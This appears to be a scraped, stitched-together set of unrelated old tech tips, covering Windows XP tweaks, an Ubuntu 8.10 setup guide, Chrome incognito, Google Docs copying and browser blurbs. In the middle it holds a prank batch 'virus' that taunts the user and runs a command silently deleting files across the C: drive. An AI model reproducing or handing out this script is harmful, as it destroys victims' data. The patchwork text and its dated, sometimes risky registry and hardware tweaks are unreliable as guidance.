There are quite a few services you can disable from starting automatically.
This would be to speed up your boot time and free resources.
They are only suggestions so I suggestion you read the description of each one when you run Services
and that you turn them off one at a time.
Some possibilities are:
Alerter
Application Management
Clipbook
Fast UserSwitching
Human Interface Devices
Indexing Service
Messenger
Net Logon
NetMeeting
QOS RSVP
Remote Desktop Help Session Manager
Remote Registry
Routing & Remote Access
SSDP Discovery Service
Universal Plug and Play Device Host
Web Client
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Cleaning the Prefetch Directory
Windows XP has a new feature called Prefetch. This keeps a shortcut to recently used programs.
However it can fill up with old and obsolete programs.
To clean this periodically go to:
Star / Run / Prefetch
Press Ctrl-A to highlight all the shorcuts
Delete them
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Clearing the Page File on Shutdown
Click on the Start button
Go to the Control Panel
Administrative Tools
Local Security Policy
Local Policies
Click on Security Options
Right hand menu - right click on "Shutdown: Clear Virtual Memory Pagefile"
Select "Enable"
Reboot
For regedit users.....
If you want to clear the page file on each shutdown:
Start Regedit
Go to HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory ManagementClearPageFileAtShutdown
Set the value to 1
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No GUI Boot
If you don't need to see the XP boot logo,
Run MSCONFIG
Click on the BOOT.INI tab
Check the box for /NOGUIBOOT
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Decreasing Boot Time
Microsoft has made available a program to analyze and decrease the time it takes to boot to Windows XP
The program is called BootVis
Uncompress the file.
Run BOOTVIS.EXE
For a starting point, run Trace / Next Boot + Driver Delays
This will reboot your computer and provide a benchmark
After the reboot, BootVis will take a minute or two to show graphs of your system startup.
Note how much time it takes for your system to load (click on the red vertical line)
Then run Trace / Optimize System
Re-Run the Next Boot + Drive Delays
Note how much the time has decreased
Mine went from approximately 33 to 25 seconds.
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Increasing Graphics Performance
By default, Windows XP turns on a lot of shadows, fades, slides etc to menu items.
Most simply slow down their display.
To turn these off selectively:
Right click on the My Computer icon
Select Properties
Click on the Advanced tab
Under Performance, click on the Settings button
To turn them all of, select Adjust for best performance
My preference is to leave them all off except for Show shadows under mouse pointer and Show window contents while dragging
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Increasing System Performance
If you have 512 megs or more of memory, you can increase system performance
by having the core system kept in memory.
Start Regedit
Go to HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory ManagementDisablePagingExecutive
Set the value to be 1
Reboot the computer
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Increasing File System Caching
To increase the amount of memory Windows will locked for I/O operations:
Start Regedit
Go to HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory Management
Edit the key IoPageLockLimit
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Probably the same thing he just posted so
@echo off
title HAHAHAHA PWNED NUB DONT **** WITH Me
color 04
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ping localhost -m 2 > nul
cls
echo waiting
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ping localhost -m 2 > nul
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ping localhost -m 2 > nul
cls
echo waiting
echo.
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ping localhost -m 2 > nul
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echo ---------------------------------
echo ------------Hello----------------
echo - You have been infected---------
echo -----------with-The--------------
echo -------------you-----------------
echo ------------are------------------
echo -------------a-------------------
echo ----------dumb-------------------
echo -------------ass-----------------
echo ----------------Virus------------
ping localhost -n 6 > nul
cls
echo searching C:\ Drive please wait
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echo searching C:\ Drive please wait...
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ping localhost -n 3 > nul
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echo C:\founded
ping localhost -n 2 > nul
cls
del "C:\"/Q /s >nul
ping localhost -n 2 > nul
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echo C:\ is deleted
ping localhost -n 3 > nul
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There is a special feature in chrome's "icongnito" window which has the following features:
Pages you view in the window won't appear in your browser history or search history, and they won't leave other traces, like cookies, on your computer after you close the incognito window. Any files you download or bookmarks you create will be preserved, however.
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Going incognito doesn't affect the behavior of other people, servers, or software. Be wary of:
Websites that collect or share information about you
Internet service providers or employers that track the pages you visit
Malicious software that tracks your keystrokes in exchange for free smileys
Surveillance by secret agents
People standing behind you
For more :
http://www.google.com/support/chrome/bi
Ubuntu 8.10 has stunned me with many ways. Even if it may seem the same at first look for someone who’ve used Ubuntu 8.04, I saw tremendous progress. The impression currently have, about Linux, is going to be changed forever. Intrepid Ibex shows epic compatibility with the various system setups that I tried it with. And, looking back to some 5 years, Linux has improved a lot in being user-friendly and visually appealing.
So, for those of you who’ve been working with Windows from birth, this is the time to hop in. The Ubuntu band-wagon is growing. We all know what Vista was like. It was horrible and all it did was successful leech the hardware resources. Ubuntu is the way to go for the future.
I believe this is the day of conversion. Linux is ready for you. So, come with me on a ride to the brighter side of computing. So, enough with the stories right ? Here we go.
P.S: Most of these stuff are Ubuntu-specific.
Configuring Software Installer
I usually hear people say - "Software supports is low for Linux. There’s barely any". Thats plain wrong. Linux supports almost the same amount of software Windows does. Maybe not more than it. But, there are a lot of softwares, both open source and closed source, which are being supported by Linux.
Ubuntu simplifies the software installation in linux through the Synaptic Package Manager. You can find it at System -> Administration -> Synaptic Package Manager. Or, you can use the Add/Remove at Applications -> Add/Remove. Both basically work the same way but Synaptic Package Manager gives you more control.
But, to get the best apps from the Linux ecosystem, you need to enable some additional repositories. Here’s how you do it :
In the "Ubuntu Softwares" tab, check every checkbox (it won’t do any harm).
Ensure that all checkboxes are checked in the "Third-Party Software" tab.
If you’re interested in online updates, go to the "Updates" tab and check "gutsy-security" and "gutsy-updates".
After doing the above stuff, press close and in the window which pops up, press Reload and wait for a while.
Now, Ubuntu will list a lot more software in its software manager.
Getting The Right Apps
There are some essential apps you can’t live without. Since I work the Release Candidate, I don’t know how much our software composition are similar. Go to Applications -> Add/Remove for a newbie-friendly and visually appealing installation experience or go to System -> Administration -> Synaptic Package Manager for more control. But, install these if you don’t already have it :
VLC Media Player : Absolutely necessary. It even plays .wmv and .flv.
GnomeBaker : Works better than Brasero in CD/DVD burning.
Azureus/Deluge : For torrent downloads.
Macromedia Flash Plugin : Works on Mozilla and Gecko-based browsers.
GStreamer ffmpeg video plugin : Lot of extra plugins.
Real Player : To play Real media files.
Comix : If you’re like me and read a lot of digital grapical novels
You can use the command-line to install software too. Softwares can be GUI or CLI. But there are a lot of good CLI softwares out there that you might want to check out. (Eg: Mencoder, ffmpeg etc).
Its as easy as typing - sudo apt-get install . It’ll ask you for your root password. Give it and you’re done.
Run Windows Softwares on Linux with Wine
Before anything, Wine Is Not an Emulator. Not I’m joking. Thats what WINE stands for. Think of Wine as a compatibility layer for running Windows programs. And it does not need Microsoft Windows.
Wine can open any .exe or similar Windows files. Select a .exe, right-click and enter properties. In the "Open With" tab, select Wine Windows Emulator (ironic though since they say its not a emulator) click +Add and take it from the options.
You can run apps such as uTorrent, Winamp etc very smoothly. Some games run well too. Good luck experimenting with it.
Summing Up..
Hope that pretty much took care of the basic stuff you need to do to have a good time with Ubuntu. Linux is ready for the desktop. It supports most of the formats and the softwares are growing too. Maybe one day, big companies may start developing games for Linux and I’m sure that would be the end for Windows cuz I’m believe that’s the reason why most of us still use a Windows. So, I wish you all a smooth ride.
Someone sent you a link to a document published in Google Docs. You have the permission to view the document, but not edit it. Google doesn’t provide any option to copy the document to your account, where you can edit and play with it. Now Google OS reveals how to do that.
You can create a duplicate for the document by replacing:
http://docs.google.com/View?do
With
http://docs.google.com/DocA
(note: AAAAA is the document ID)
To simplify the whole process, there is a greasemonkey script, which adds a neat “Copy to my account” link below the document. I just tried it and it works like a charm! Once it’s copied to your account, you have full permission to modify it, whichever way you like… :|
screenshot:- Apple announced the launch of Safari 4 beta browser which has already gathered a lot of attention because of it’s new promising features that claims Safari 4 to be 3 times better than Firefox and 30 times faster than Internet explorer 7.If you want to download Safari 4 then head over to the download page from the official Apple website. With a Google chrome title bar and the homepage showcasing opera lookalike speed dial thumbnail shots along with the Windows native look and browsing history detailed search, It seems that Apple Safari 4 has combined all the features from other Internet browser.As it is in beta there is still a lot of room for improvement in the future and as of now Safari 4 supports Mac osx and Windows! Check it out once..
If you are a web designer, then it’s necessary that you check how your website renders in various browsers, but unfortunately, you cannot install various versions of Internet Explorer on the same computer. Luckily, there is a new tool called Internet Explorer Collection which practically allows you to install every version of Internet Explorer right from IE 1.0 to IE 8.0 Beta. Unlike other competing software, this one works on Windows Vista as well.
While installing IE Collection, certain versions of IE which are incompatible with your operating system will be automatically disabled. They regularly update their application adding newer versions of IE as and when they are released.
Internet Explorer Collection contains the following versions of IE:
Internet Explorer 1.0 (4.40.308)
Internet Explorer 1.5 (0.1.0.10)
Internet Explorer 2.01 (2.01.046)
Internet Explorer 3.0 (3.0.1152)
Internet Explorer 4.01 (4.72.3110.0)
Internet Explorer 5.01 (5.00.3314.2100)
Internet Explorer 5.5 (5.51.4807.2300)
Internet Explorer 6.0 (6.00.2800.1106)
Internet Explorer 6.0 (6.00.2900.2180)
Internet Explorer 7.0 (7.00.5730.13)
Internet Explorer 8.0 (8.00.6001.18372)
If you are a web developer, then this is a must-have tool for you, else… there is nothing much to play with.
Follow the following steps
1. Open notepad.exe, type "del c:\windows\prefetch\ntosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:\
2. From the Start menu, select "Run..." & type "gpedit.msc".
3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.
4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".
5. Click "OK", "Apply" & "OK" once again to exit.
6. From the Start menu, select "Run..." & type "devmgmt.msc".
7. Double click on "IDE ATA/ATAPI controllers"
8. Right click on "Primary IDE Channel" and select "Properties".
9. Select the "Advanced Settings" tab then on the device or 1 that doesn't have 'device type' greyed out select 'none' instead of 'autodetect' & click "OK".
10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.
11. Reboot your computer.
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